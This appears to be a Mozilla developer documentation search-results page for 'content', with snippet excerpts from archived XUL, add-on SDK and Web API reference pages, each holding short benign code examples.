... an easy way to display alerts is to include a hidden box in your overlay, which you can fill with any
content you need before removing the hidden attribute so that it is displayed to the user.
...below is preferrable because it only cuts the bottom part of the current page, as opposed to pushing down all tabs and
content.
...And 2 more matches
Using XML Data Islands in Mozilla - Archive of obsolete content
javascript can use the
content of a <script> element as a data block if the src attribute is omitted and the type attribute does not specify an executable script type.
... when putting xml in a data block, you need to make sure that the xml
content you are embedding does not have an end tag that case-insensitively matches "</script>".
...er" type="application/xml"> <purchaseorder xmlns="http://example.mozilla.org/purchaseorderml"> <lineitem> <name>line item 1</name> <price>1.25</price> </lineitem> <lineitem> <name>line item 2</name> <price>2.48</price> </lineitem> </purchaseorder> </script> the xml source text can then be retrieved like this: var ordersource = document.getelementbyid("purchase-order").text
content; the xml source text can be parsed into a dom tree using the domparser api: var parser = new domparser(); var doc = parser.parsefromstring(ordersource, "application/xml"); the html5 data block-based way shown here works in firefox, opera, webkit-based browsers such as chrome and safari, and ie9 while ie's xml data islands work only in ie.
...And 2 more matches
Making it into a static overlay - Archive of obsolete content
to make the file into a static overlay, we need to move all the code we added to navigator.xul into a new file tinderstatusoverlay.xul in the same directory: <?xml version="1.0"?> <?xml-stylesheet href="chrome://navigator/
content/tinderstatus.css" type="text/css"?> <overlay id="tinderstatusoverlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/javascript" src="chrome://navigator/
content/tinderstatus.js" /> <statusbar id="status-bar"> <statusbarpanel class="statusbarpanel-iconic" id="tinderbox-status" insertbefore="offline-statu...
... <?xml-stylesheet href="chrome://navigator/skin/" type="text/css"?> <?xml-stylesheet href="chrome://navigator/
content/tinderstatus.css" type="text/css"?> <?xul-overlay href="chrome://navigator/
content/navigatoroverlay.xul"?> <?xul-overlay href="chrome://navigator/
content/navextraoverlay.xul"?> <?xul-overlay href="chrome://navigator/
content/linktoolbaroverlay.xul"?> <?xul-overlay href="chrome://navigator/
content/tinderstatusoverlay.xul"?> <?xul-overlay href="chrome://communicator/
content/conten...extoverla...
...y.xul"?> <?xul-overlay href="chrome://communicator/
content/sideba...baroverlay.xul"?> <?xul-overlay href="chrome://communicator/
content/communicatoroverlay.xul"?> <?xul-overlay href="chrome://communicator/
content/bookma...rksoverlay.xul"?> ...
...And 2 more matches
Block and Line Layout Cheat Sheet - Archive of obsolete content
ns_frame_external_reference ns_frame_replaced_element ns_frame_generated_
content ns_frame_has_loaded_images ns_frame_out_of_flow ns_frame_selected_
content ns_frame_is_dirty ns_frame_is_unflowable an unflowable frame is an error condition; for example, due to system limitations.
... ns_block_shrink_wrap causes the block to "shrink-wrap" around its
content.
... this means the block will determine its children's width and make its
content area that wide.
...And 2 more matches
Helper Apps (and a bit of Save As) - Archive of obsolete content
warning: the
content of this article may be out of date.
... bird's eye view flow of control uriloader tries to find a
content listener for the mime type in question.
... decides whether the data should be
content-decoded (based on some not-so-great heuristics).
...And 2 more matches
Clipboard - Archive of obsolete content
jetpack.future.import("clipboard"); methods set(
contentstringflavorstring) stringwrites data from jetpack to the clipboard.
...
contentthe
content to be copied to the clipboard.
... if no other arguments are specified, the flavor of the
content is assumed to 'plain'.string flavordata type.
...And 2 more matches
Clipboard - Archive of obsolete content
jetpack.future.import("clipboard"); methods set(
contentstringflavorstring)writes data from jetpack to the clipboard.
...string
contentthe
content to be copied to the clipboard.
... if no other arguments are specified, the flavor of the
content is assumed to 'plain'.string flavordata type.
...And 2 more matches
Clipboard - Archive of obsolete content
jetpack.future.import("clipboard"); methods set(
contentstringflavorstring) stringwrites data from jetpack to the clipboard.
...
contentthe
content to be copied to the clipboard.
... if no other arguments are specified, the flavor of the
content is assumed to 'plain'.string flavordata type.
...And 2 more matches
Plugin Architecture - Archive of obsolete content
classes there are some classes involved in plugins: nsobjectloading
content embed, object and applet nodes inherit from that class, which provides services for loading various kinds of objects.
... note that while nsobjectloading
content also deals with images and documents, this document concentrates on plugins.
... sequence of events in
content a
content node for a plugin dom element gets created in bindtotree (usually) or another function, it calls loadobject loadobject either notices directly that it is dealing with a plugin, or it starts a network request and notices this in onstartrequest when it realizes that, it tries to create a frame, if anotify is true and no frame exists yet if a frame exists now, it is asked to instantiate the plugin that was the normal case.
...And 2 more matches
Table Layout Strategy - Archive of obsolete content
the words the table layout is width oriented and knows the following widths: minimum
content width - min the minimum width that is required to layout the
content, all linebreak possibilities will be used percent width - pct the cell width specified in percent, fixed width - fix the cell width specified as px, mm etc., proportional width - prop the cell width specified via 1*, 2* etc.
... and the desired width - des the width the
content could fill without any linebreaks.
... min_con des_con fix min_adj des_adj fix_adj pct pct_adj min_pro final the width parameter have the following meaning: #define width_not_set -1 #define num_widths 10 #define num_major_widths 3 // min, des, fix #define min_con 0 // minimum width required of the
content + padding #define des_con 1 // desired width of the
content + padding #define fix 2 // fixed width either from the
content or cell, col, etc.
...And 2 more matches
Example Sticky Notes - Archive of obsolete content
view this example <!doctype html public "-//w3c//dtd html 4.01//en" "http://www.w3.org/tr/html401/strict.dtd"> <html> <head> <title>xbl demo : sticky notes</title> <meta http-equiv="
content-type"
content="text/html; charset=iso-8859-1"> <style type="text/css"> body { background-color: #ffffff; color: #000000; font: 1em verdana, sans-serif; } h1 { font-size: 1.5em; } /* binding: */ .sticker { -moz-binding: url(notes.xml#default); } </style> </head> <body> <h1><a href="http://developer.mozilla.org/en/docs/xbl:xbl_1.0_reference">xbl</a> demo : sticky notes</h1> <div class="sticker"><p>acme, inc.
...--> <stylesheet src="notes.css"/> </resources> <
content> <!-- this svg graphics will be added automatically around each bound element.
... the position of the original
content is indicated by <children/> tag.
...And 2 more matches
Additional Navigation - Archive of obsolete content
here is an example triple that we could use in the photos example: <query> <
content uri="?start"/> <member container="?start" child="?photo"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/title" object="canal"/> </query> this new triple has a static value for the object attribute instead of a variable reference.
...another thing that you cannot have is a triple where both variables would be unknown as in the following: <query> <
content uri="?start"/> <member container="?start" child="?photo"/> <triple subject="?category" predicate="http://purl.org/dc/elements/1.1/title" object="?title"/> </query> in this case when the template builder gets to the triple, neither the ?category nor the ?title variables can be filled in so the builder doesn't know what to generate.
... <query> <
content uri="?start"/> <triple subject="?relateditem" predicate="http://www.xulplanet.com/rdf/relateditem" object="?start"/> </query> the triple is evaluated in the same manner except that the value of the object can be filled in with the value of the ?start variable.
...And 2 more matches
Additional Template Attributes - Archive of obsolete content
if you did add children, they act just like the static
content as if the template was present.
... however, it is possible to use different static
content for each usage, even though the template is shared.
...the generated
content is always inserted into the root node, in this example the listbox, not inside the template.
...And 2 more matches
SQLite Templates - Archive of obsolete content
this allows information from the database to be used to generate xul
content.
...the name attribute is used to specify the parameter name, and the
contents of the param element specify the value to use.
...now, to adjust the query to something else, say to look up females, all you need to do is get a reference to the param element and adjust the
contents.
...And 2 more matches
Simple Query Syntax - Archive of obsolete content
a simple query is equivalent to a query with only the
content tag and a member tag, as well as optionally a set of triples from the child node.
... at its simplest, the simple query syntax is equivalent to the following: <query> <
content uri="?start"/> <member container="?start" child="?photo"/> </query> the template builder uses the simple query syntax whenever a template does not have a <query> element.
...three matches have been found so the
content will be duplicated three times.
...And 2 more matches
Using Multiple Queries to Generate More Results - Archive of obsolete content
if a result from the second query wasn't also matched by the first query, it will have
content created for it.
... recall that when the member resource for a query matches several rules, only the earliest query that matches will have
content generated for it.
... if resources don't overlap, we can generate
content for two different parts of the rdf data.
...And 2 more matches
Creating a Window - Archive of obsolete content
the syntax is described below: window.open(url,windowname,flags); where the flags contains the flag "chrome" as in this example window.open("chrome://navigator/
content/navigator.xul", "bmarks", "chrome,width=600,height=300"); if you are using firefox, try below: window.open("chrome://browser/
content/places/places.xul", "bmarks", "chrome,width=600,height=300"); you can test lines of javascript like these in the error console.
...create a file called findfile.xul and put it in the
content directory specified in the findfile.manifest file (we've created in the previous section).
...(usually the browser window.) for example, we could open the find files dialog with either of the following: mozilla -chrome chrome://findfile/
content/findfile.xul mozilla -chrome resource:/chrome/findfile/
content/findfile.xul if you run this command from a command-line (assuming you have one on your platform), the find files dialog will open by default instead of the mozilla browser window.
...And 2 more matches
Introduction to XBL - Archive of obsolete content
the following example shows the basic skeleton of an xbl file: <?xml version="1.0"?> <bindings xmlns="http://www.mozilla.org/xbl"> <binding id="binding1"> <!--
content, property, method and event descriptions go here --> </binding> <binding id="binding2"> <!--
content, property, method and event descriptions go here --> </binding> </bindings> the bindings element is the root element of an xbl file and contains one or more binding elements.
...for example: scrollbar { -moz-binding: url('chrome://findfile/
content/findfile.xml#binding1'); } the url points to the binding with the id 'binding1' in the file 'chrome://findfile/
content/findfile.xml'.
...a binding has five types of things that it declares:
content: child elements that are added to the element that the binding is bound to.
...And 2 more matches
Updating Commands - Archive of obsolete content
if you include the script 'chrome://global/
content/globaloverlay.js' in a xul file, you can call the godocommand method which executes the command passed as the argument.
...<script src="chrome://global/
content/globaloverlay.js"/> <command id="cmd_paste" oncommand="godocommand('cmd_paste');"/> <button label="paste" command="cmd_paste"/> the example above will implement a paste button.
...the command will become enabled whenever a textbox is focused and when the clipboard
contents change.
...And 2 more matches
command - Archive of obsolete content
if you include the script chrome://global/
content/globaloverlay.js in your window, you can use the function godocommand function to invoke the command.
...see also: command attribute, commandset element attributes disabled, label, oncommand,reserved examples the following code will send a paste command (cmd_paste) to the currently focused element: // first include chrome://global/
content/globaloverlay.js godocommand("cmd_paste"); example with two buttons <commandset><command id="cmd_openhelp" oncommand="alert('help');"/></commandset> <button label="help" command="cmd_openhelp"/> <button label="more help" command="cmd_openhelp"/> attributes disabled type: boolean indicates whether the element is disabled or not.
... setting this attribute to "true" indicates that the command is reserved for chrome code and is not available for use in the
content.
...And 2 more matches
prefpane - Archive of obsolete content
src type: uri the uri of the overlay
contents of preference pane.
... if this is not specified, the
contents of the prefpane element is used.
... properties
contentheight (readonly) the height (in pixels) of current pane's
content.
...And 2 more matches
richlistbox - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] this element is used to create a list of listitems (richlistitems), similar to a listbox, but is designed to be used when the items do not contain simple text
content.
..., removeitemfromselection, scrolltoindex, selectall, selectitem, selectitemrange, timedselect, toggleitemselection examples <richlistbox> <richlistitem> <description>a xul description!</description> </richlistitem> <richlistitem> <button label="a xul button"/> </richlistitem> </richlistbox> the richlistbox element contains multiple richlistitem elements, which can contain any
content.
...for user editable menulist elements, the
contents, as visible to the user, are read and set using the menulist.value syntax.
...And 2 more matches
Custom app bundles for Mac OS X - Archive of obsolete content
a xul application for mac os x should follow something similar to this basic directory structure: example.app/
contents/ info.plist (application bundle properties are specified in this xml file.) pkginfo (this is a simple text file and is created along with the info.plist file) macos/ (the macos folder will contain your xulrunner executable) xulrunner (this is the xulrunner stub) resources/ (this is where you place your xul application code and suppor...
...t files) application.ini (xulrunner-related application settings) example.icns (this is the icon which will be used by your application bundle) chrome/
content/ example.xul (this directory contains your application's chrome) example.manifest defaults/ preferences/ app-prefs.js (this provides some default values for preferences) application bundle
contents in addition to the standard directory hierarchy that's required of all mac os x applications, as shown above in application bundle layout, there are some specific rules for what
content goes where: the top-le...
... the first sub-directory is called
contents and within that directory you will place several files and folders that are needed by your application bundle.
...And 2 more matches
SAX - Archive of obsolete content
after the parsing process is started, handlers receive a series of callbacks for the
content of xml being parsed.
... the following handlers are available: interface purpose nsisax
contenthandler receive notification of the logical
content of a document (e.g.
... an example implementation of the most commonly used
content handler: function print(s) { dump(s + "\n"); } xmlreader.
contenthandler = { // nsisax
contenthandler startdocument: function() { print("startdocument"); }, enddocument: function() { print("enddocument"); }, startelement: function(uri, localname, qname, /*nsisaxattributes*/ attributes) { var attrs = []; for(var i=0; i<attributes.length; i++) { attrs.push(attr...
...And 2 more matches
Sunbird Theme Tutorial - Archive of obsolete content
copy and paste the
content from here, making sure that you scroll to get all of it: <?xml version="1.0"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest" em:id="just-testing@example.com" em:name="just testing" em:creator="rod whiteley" em:description="a test theme for sunbird" em:homepageur...
...copy and paste the
content from here (just one line): skin calendar testing chrome/calendar/ change <tt>testing</tt> to your theme's one-word internal name.
...paste the copied <tt>calendar</tt> directory, together with all its
contents, into your new <tt>chrome</tt> directory.
...And 2 more matches
-ms-wrap-through - Archive of obsolete content
the -ms-wrap-through css property is a microsoft extension that specifies how
content should wrap around an exclusion element.
...its descendant inline
content wraps around exclusions defined outside the element.
... remarks you can use the -ms-wrap-through property to control the effect of exclusions; for instance, to cause one
content block to wrap around an exclusion element and another to intersect the same exclusion element.
...And 2 more matches
First contentful paint - MDN Web Docs Glossary: Definitions of Web-related terms
first
contentful paint (fcp) is when the browser renders the first bit of
content from the dom, providing the first feedback to the user that the page is actually loading.
... the question "is it happening?" is "yes" when the first
contentful paint completes.
... the first
contentful paint time stamp is when the browser first rendered any text, image (including background images), non-white canvas or svg.
...And 2 more matches
ContentIndexEvent.id - Web APIs
the read-only id property of the
contentindexevent interface is a string which identifies the deleted
content index via it's id.
... syntax var id =
contentindexevent.id; value a string representation of the deleted
content index id.
... examples this example listens for the
contentdelete event and logs the removed
content index id.
...And 2 more matches
HTMLElement.isContentEditable - Web APIs
the htmlelement.is
contenteditable read-only property returns a boolean that is true if the
contents of the element are editable; otherwise it returns false.
... syntax editable = element.is
contenteditable example html <p id="mytext1">uneditable paragraph</p> <p id="mytext2"
contenteditable="true">editable paragraph</p> <p id="infotext1">can edit the first paragraph?
...</p> javascript document.getelementbyid('infotext1').innerhtml += document.getelementbyid('mytext1').is
contenteditable; document.getelementbyid('infotext2').innerhtml += document.getelementbyid('mytext2').is
contenteditable; result specifications specification status comment html living standardthe definition of 'htmlelement.
contenteditable' in that specification.
...And 2 more matches
Range.surroundContents() - Web APIs
the range.surround
contents() method moves
content of the range into a new node, placing the new node at the start of the specified range.
... this method is nearly equivalent to newnode.appendchild(range.extract
contents()); range.insertnode(newnode).
... syntax range.surround
contents(newparent); parameters newparent a node with which to surround the
contents.
...And 2 more matches
ResizeObserverEntry.contentBoxSize - Web APIs
the
contentboxsize read-only property of the resizeobserverentry interface returns an array containing the new
content box size of the observed element when the callback is run.
... syntax var my
contentboxsize = resizeobserverentry.
contentboxsize; value an object containing the new
content box size of the observed element.
... this object contains two properties: blocksize the length of the observed element's
content box in the block dimension.
...And 2 more matches
Handling media support issues in web content - Web media technologies
this guide covers techniques you can use to develop web
content that meets your media needs while providing the most broadly compatible experience possible.
... topics we will examine fallbacks, baseline media formats, and error handling practices that will let your
content work in as many situations as possible.
... using poster frames a poster frame is a still image that's representative of the
content of a video.
...And 2 more matches
Other content in SVG - SVG: Scalable Vector Graphics
« previousnext » apart from graphic primitives like rectangles and circles, svg offers a set of elements to embed other types of
content in images as well.
...this means, that you can use clips, masks, filters, rotations and all other tools of svg on the
content: <svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200"> <image x="90" y="-65" width="128" height="146" transform="rotate(45)" xlink:href="https://developer.mozilla.org/static/img/favicon144.png"/> </svg> screenshotlive sample embedding arbitrary xml since svg is an xml application, you can of course always e...
...but then you have no means to define how the surrounding svg should react on the
content.
...And 2 more matches
Reddit Example - Archive of obsolete content
to accomplish this the add-on needs to run a
content script in the context of the reddit page which intercepts mouse clicks on each title link and fetches the link's target url.
... the
content script then needs to send the url to the add-on script.
... this is the complete add-on script: var data = require("sdk/self").data; var button = require("sdk/ui/button/action").actionbutton({ id: "reddit-panel", label: "reddit panel", icon: "./icon-16.png", onclick: function() { reddit_panel.show(); } }); var reddit_panel = require("sdk/panel").panel({ width: 240, height: 320,
contenturl: "http://www.reddit.com/.mobile?keep_extension=true",
contentscriptfile: [data.url("jquery-2.1.0.min.js"), data.url("panel.js")] }); reddit_panel.port.on("click", function(url) { require("sdk/tabs").open(url); }); this code supplies two
content scripts to the panel's constructor in the
contentscriptfile option: the jquery library and the script that intercepts link clicks.
... this is the panel.js
content script that intercepts link clicks: $(window).click(function (event) { var t = event.target; // don't intercept the click if it isn't on a link.
Working with Events - Archive of obsolete content
we talk about
content scripts in more detail in the working with
content scripts guide.
... additionally, if you're using
content scripts to interact with web
content, you can define your own events and use them to communicate between the main add-on code and the
content scripts.
... so there are two main ways you will interact with the eventemitter framework: listening to built-in events emitted by objects in the sdk, such as tabs opening, pages loading, mouse clicks sending and receiving user-defined events between
content scripts and add-on code this guide only covers the first of these; the second is explained in the working with
content scripts guide.
...if you do this, the listener will be called for any event emitted by that object, and its argument will be the name of the event: var ui = require("sdk/ui"); var panels = require("sdk/panel"); var self = require("sdk/self"); var panel = panels.panel({
contenturl: self.data.url("panel.html") }); panel.on("*", function(e) { console.log("event " + e + " was emitted"); }); var button = ui.actionbutton({ id: "my-button", label: "my button", icon: "./icon-16.png", onclick: handleclick }); function handleclick(state) { panel.show({ position: button }); } this wildcard feature does not yet work for the tabs or windows modules.
windows - Archive of obsolete content
= require("sdk/model/core"); var { viewfor } = require("sdk/view/core"); var browserwindows = require("sdk/windows").browserwindows; function converttochromeandback(browserwindow) { // get the chrome window for this browserwindow var chromewindow = viewfor(browserwindow); // now we can use the chrome window api console.log(chromewindow.document.location.href); // -> "chrome://browser/
content/browser.xul" // convert back to the high-level window var highlevelwindow = modelfor(chromewindow); // now we can use the sdk's high-level window api console.log(highlevelwindow.title); } browserwindows.on("open", converttochromeandback); note that directly accessing low-level chrome objects like this means you're no longer protected by the compatibility guarantees made by the sdk's hi...
...windows.open({ url: "http://www.example.com", onopen: function(window) { // do stuff like listen for
content // loading.
...this does not mean that the url
content has loaded, only that the window itself is fully functional and its properties can be accessed.
...this does not mean that the
content has loaded, only that the browser window itself is fully visible to the user.
tabs/utils - Archive of obsolete content
gettab
contentwindow(tab) get the specified tab's
content window.
... returns window : getalltab
contentwindows() get all tabs'
content windows across all the browsers' windows.
... gettabfor
contentwindow(window) get the tab element that hosts the specified
content window.
... url : string gettab
contenttype(tab) get the
contenttype of the document hosted by the specified tab.
window/utils - Archive of obsolete content
sewindow // => false utils.getbasewindow(active) instanceof ci.nsibasewindow // => true parameters window : nsidomwindow returns nsibasewindow gettoplevelwindow(window) returns the toplevel nsidomwindow for the given child nsidomwindow: var { ci } = require('chrome'); var utils = require('sdk/window/utils'); var browserwindow = utils.getmostrecentbrowserwindow(); var window = browserwindow.
content; // `window` object for the current webpage utils.gettoplevelwindow(window) == browserwindow // => true parameters window : nsidomwindow returns nsidomwindow getwindowdocshell(window) returns the nsidocshell for the tabbrowser element.
...defaults to "chrome://browser/
content/browser.xul".
...this means that its "load" event has been fired and all
content is loaded, including the whole dom document, images, and any other sub-resources.
... isbrowser(window) returns true if the given window is a firefox browser window: that is, its document has a "windowtype" of "chrome://browser/
content/browser.xul".
Canvas code snippets - Archive of obsolete content
code usable from web
content getting the number of pixels of a certain color in a canvas the following function will return the number of pixels in a canvas that have the rgb color of r, g and b.
....remotepageloaded, true); //append to the end of the page window.document.body.appendchild(iframe); return; }; remotecanvas.prototype.remotepageloaded = function() { // look back up the iframe by id var ldrframe = document.getelementbyid('test-iframe'); // get a reference to the window object you need for the canvas // drawwindow method var remotewindow = ldrframe.
contentwindow; //draw canvas var canvas = document.createelement('canvas'); canvas.style.width = remotecanvas.canvas_width + 'px'; canvas.style.height = remotecanvas.canvas_height + 'px'; canvas.width = remotecanvas.canvas_width; canvas.height = remotecanvas.canvas_height; var windowwidth = window.innerwidth - 25; var windowheight = window.innerheight; var ctx = canv...
...width, remotecanvas.canvas_height / windowheight); ctx.drawwindow(remotewindow, 0, 0, windowwidth, windowheight, 'rgb(255, 255, 255)'); ctx.restore(); }; usage: var remotecanvas = new remotecanvas(); remotecanvas.load(); convert image files to base64 strings the following code gets a remote image and converts its
content to data uri scheme.
...pt, reject) => { image.onload = accept; image.onerror = reject; }).then(accept => { canvas.width = this.width; canvas.height = this.height; ctxt.clearrect(0, 0, this.width, this.height); ctxt.drawimage(this, 0, 0); accept(canvas.todataurl()); }); } usage: loadimagefile('myimage.jpg').then(string64 => { alert(string64); }); if you want to get instead the base64
content of a local file using the file <input> element, you must use the filereader object.
Dialogs and Prompts - Archive of obsolete content
<?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/global.css" type="text/css"?> <dialog xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" id="..." title="..." buttons="accept,cancel" ondialogaccept="return onaccept();" ondialogcancel="return oncancel();"> <script src="chrome://..."/> <!--
content --> </dialog> you need to implement onaccept and oncancel functions in your script.
...for example, to add an apply button to your dialog, use the following code: <dialog xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" id="..." buttons="accept,cancel,extra1" ondialogaccept="onaccept();" ondialogextra1="onapply();" buttonlabelextra1="apply" buttonaccesskeyextra1="a"> <!--
content --> </dialog> you can even get the element object for any of predefined buttons with gdialog.getbutton(dlgtype);, where gdialog is the <dialog> element and dlgtype is one of the six button types listed above.
...the code to open a dialog named mydialog.xul and pass it arguments: var params = {inn:{name:"foo", description:"bar", enabled:true}, out:null}; window.opendialog("chrome://myext/
content/mydialog.xul", "", "chrome, dialog, modal, resizable=yes", params).focus(); if (params.out) { // user clicked ok.
... } mydialog.xul: <dialog xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" id="mydialogid" title="my dialog" ondialogaccept="return onok();" onload="onload();" persist="screenx screeny width height" windowtype="mydialogwindowtype"> <script type="application/javascript" src="chrome://myext/
content/mydialog.js"/> <grid> <columns><column/><column/></columns> <rows> <row align="center"><label value="name:"/><textbox id="name"/></row> <row align="center"><label value="description:"/><textbox id="description"/></row> <row align="center"><spacer/><checkbox id="enabled" label="check to enable"/></row> </rows> </grid> </dialog> mydialog.js: // called once when ...
HTML in XUL for rich tooltips - Archive of obsolete content
this example is what the final xul overlay could look like, assuming a javascript overlay titled overlay.js: <?xml version="1.0" encoding="utf-8"?> <overlay id="htmltip-overlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" xmlns:html="http://www.w3.org/1999/xhtml"> <script type="application/x-javascript" src="overlay.js"/> <popup id="
contentareacontextmenu"> <menuitem id="htmltip1" label="foo1" onmouseover="htmltip.onmousetooltip(event)" tooltip="myhtmltip" /> <menuitem id="htmltip2" label="foo2" onmouseover="htmltip.onmousetooltip(event)" tooltip="myhtmltip" /> </popup> <popupset id="mainpopupset"> <tooltip id="myhtmltip"> <html:div id="myhtmltipdiv" ty...
...pe="
content"/> </tooltip> </popupset> </overlay> insert your version of the following into the javascript overlay.
...our enhanced xul tooltip is an element that is written ahead of time, and it contains an html div element whose type attribute lowers its privileges to being that
content element, although it is an element of chrome.
... <?xml version="1.0" encoding="utf-8"?> <overlay id="htmltip-overlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" xmlns:html="http://www.w3.org/1999/xhtml"> <script type="application/x-javascript" src="overlay.js"/> <popup id="
contentareacontextmenu"> <menuitem id="htmltip3" label="foo3" tooltip="mytip3html" /> </popup> <popupset id="mainpopupset"> <tooltip id="mytip3html"> <html:div type="
content"> <html:b>bold foo</html:b> </html:div> </tooltip> </popupset> </overlay> ...
Creating custom Firefox extensions with the Mozilla build system - Archive of obsolete content
so now you need to create the normal
content/, locale/ and skin/ directories in which to place your chrome files.
...for our simple extension example, this file might look something like this: myextension.jar: %
content myextension %
content/ % locale myextension en-us %locale/ % skin myextension classic/1.0 %skin/classic/ % overlay chrome://browser/
content/browser.xul chrome://myextension/
content/myextensionoverlay.xul
content/myextensionoverlay.js (
content/myextensionoverlay.js)
content/myextensionoverlay.xul (
content/myextensionoverlay.
...your complete directory structure will look something like this: myextension/ base/ public/ src/ advanced/
content/ locale/ en-us/ ...other locales.../ public/ skin/ classic/ ...other skins.../ src/ other than that, nothing really changes.
...here's an example, showing just the advanced/ subbranch of the myextension/ directory: advanced/ build/ intricate/ public/ src/ multifarious/ public/ src/
content/ locale/ en-us/ ...other locales.../ skin/ classic/ ...other skins.../ as you can see, we've split advanced/ into two submodules: intricate/ and multifarious/, and we've added an additional build/ subdirectory.
Installing Extensions and Themes From Web Pages - Archive of obsolete content
aevent.target.href, iconurl: aevent.target.getattribute("iconurl"), hash: aevent.target.getattribute("hash"), tostring: function () { return this.url; } }; this specifies the display name (foo) for use in the confirmation dialog, the url to the extension (which is the link href, recall), the icon url to display in the confirmation dialog, a hash of the xpi file
contents (to protect against corrupted downloads), and a tostring function which will allow this code to work with versions of firefox 0.8 and earlier.
... hash the hash property specifies a cryptographic hash of the xpi file
contents.
...because so many sites installed extensions by direct-linking the xpi file and relying on
content handling to invoke the confirmation ui, many sites are (incorrectly) doing so for theme jar files too and wondering why they aren't auto-detected and installed.
... thus you should only use updateenabled to display
content in the page to alert the user that software installation is disabled, or your site is not in the whitelist—do not place it in the install code path.
Interaction between privileged and non-privileged pages - Archive of obsolete content
var myextension = { mylistener: function(evt) { alert("received from web page: " + evt.target.getattribute("attribute1") + "/" + evt.target.getattribute("attribute2")); } } document.addeventlistener("myextensionevent", function(e) { myextension.mylistener(e); }, false, true); // the last value is a mozilla-specific value to indicate untrusted
content is allowed to trigger the event.
...attribute("part1", "answers this."); doc.documentelement.appendchild(answerevt); var event = doc.createevent("htmlevents"); event.initevent("myanswerevent", true, false); answerevt.dispatchevent(event); } } document.addeventlistener("myextensionevent", function(e) { myextension.mylistener(e); }, false, true); // the last value is a mozilla-specific value to indicate untrusted
content is allowed to trigger the event.
...gecko prevents chrome to access custom object properties added by the
content, because that can create security holes.
... var targetdoc = null; function onload() { var iframe = document.getelementbyid("
contentiframe"); targetdoc = iframe.
contentdocument; iframe.
contentwindow.addeventlistener("newstuff", receivestufffrompage, false); } function receivestufffrompage(event) { var uc = geteventdata(event); // uc = unchecked data in form of e4x xml var stuff = {}; stuff.id = sanitize.integer(uc.@id); stuff.name = sanitize.label(uc.@name); } function sendsomethingtopage (something) { var some...
Chapter 6: Firefox extensions and XUL applications - Archive of obsolete content
listing 2:
content for test_calc.js (first-round test case) var testcase = mozlab.mozunit.testcase; var assert = mozlab.mozunit.assertions; var tc = new testcase('rpn calc testcase'); var module = new modulemanager(); var rpncalc = module.require('package', 'calc'); tc.tests = { '2 1 +': function() { var calc = new rpncalc.rpncalc(); calc.init(); calc.push(2); calc.push(1); calc.plus(); a...
...ssert.equals(calc.pop(), 3); } } listing 3: additional
content for calc.js function rpncalc() { this.stack = new array(); } rpncalc.prototype = { init: function() { this.stack = new array(); }, push: function(val) { this.stack.push(number(val)); }, _letfunc: function(func) { a = this.pop(); b = this.pop(); this.push(func(a, b)); }, plus: function() { return this._letfunc(this._plus); }, _plus: function(a, b) { return a + b; }, pop: function() { return this.stack.pop(); } } check for errors now you’re ready for your first test.
...update it with the
contents of listing 3.
... let’s say we’ve found the
contents of listing 7 in the source.
Handling Preferences - Archive of obsolete content
the
contents of the file are fairly simple: // amount of messages shown to the user.
...in order to have this button enabled in your extension you need to add the following line to install.rdf: <em:optionsurl>chrome://xulschoolhello/
content/preferenceswindow.xul</em:optionsurl> if you want to open this window from a different place in the ui, such as a menu item or a button in a toolbar, you need to take into account that the opening behavior of a preferences window is different depending on the operating system.
...",dialog=no" : ",modal"); this._preferenceswindow = window.opendialog( "chrome://xulschoolhello/
content/preferenceswindow.xul", "xulschoolhello-preferences-window", features); } this._preferenceswindow.focus(); }, this code is based on the code that opens preference windows from the add-ons manager.
... finally, groupboxes are a good idea to organize the
contents of the window and preference panes.
Setting up an extension development environment - Archive of obsolete content
on ubuntu (and many other linux distributions): /usr/bin/firefox -no-remote -p dev on other distributions of linux/unix: /usr/local/bin/firefox -no-remote -p dev on macos mavericks (10.9) and newer: /applications/firefox.app/
contents/macos/firefox-bin -no-remote -p dev & on windows: start -> run "%programfiles%\mozilla firefox\firefox.exe" -no-remote -p dev on windows 64 bit: start -> run "%programfiles(x86)%\mozilla firefox\firefox.exe" -no-remote -p dev to start thunderbird or seamonkey instead of firefox, substitute thunderbird, or seamonkey for the firefox used in our examples.
...don't forget to switch from
content to browser as context.
... the
contents of this file should be the path to the directory that contains your install.rdf file, for example /full/path/to/yourextension/ on mac and linux, and c:\full\path\to\yourextension\ on windows.
...for example, rather than having
content myextension jar:chrome/myextension.jar!/
content/ use
content myextension chrome/
content/ preventing the first launch extension selector requires gecko 8.0(firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) starting in firefox 8, on the first launch of a new version of firefox, it presents user interface letting users select which third party add-ons to keep.
Creating a status bar extension - Archive of obsolete content
the chrome is the set of user interface elements outside the
content area of the application's window, such as toolbars, status bars, menu bars, and the like.
...
content status-bar-sample-1 chrome/
content/ # firefox overlay chrome://browser/
content/browser.xul chrome://status-bar-sample-1/
content/status-bar-sample-1.xul the first line registers the location on disk of the
contents of the extension whose id is "status-bar-sample-1".
...an overlay lets you add new
content to an existing document.
... in this case, we want to augment the ui of the firefox browser, so we specify the uri of the firefox main window's xul file, "chrome://browser/
content/browser.xul", as the interface to overlay onto, and the uri of our own xul file, "chrome://status-bar-sample-1/
content/status-bar-sample-1.xul", as the interface to overlay onto the browser.
MCD, Mission Control Desktop, AKA AutoConfig - Archive of obsolete content
function displayerror(title, msg) { log.debug(title + ": " + msg); alerts.showalertnotification("chrome://branding/
content/icon48.png", title, msg); } firefox it's the same principles as for firefox as it was described above for thunderbir.
... 3850 01-01-2010 00:00 defaults/profile/bookmarks.html 869 01-01-2010 00:00 defaults/profile/chrome/user
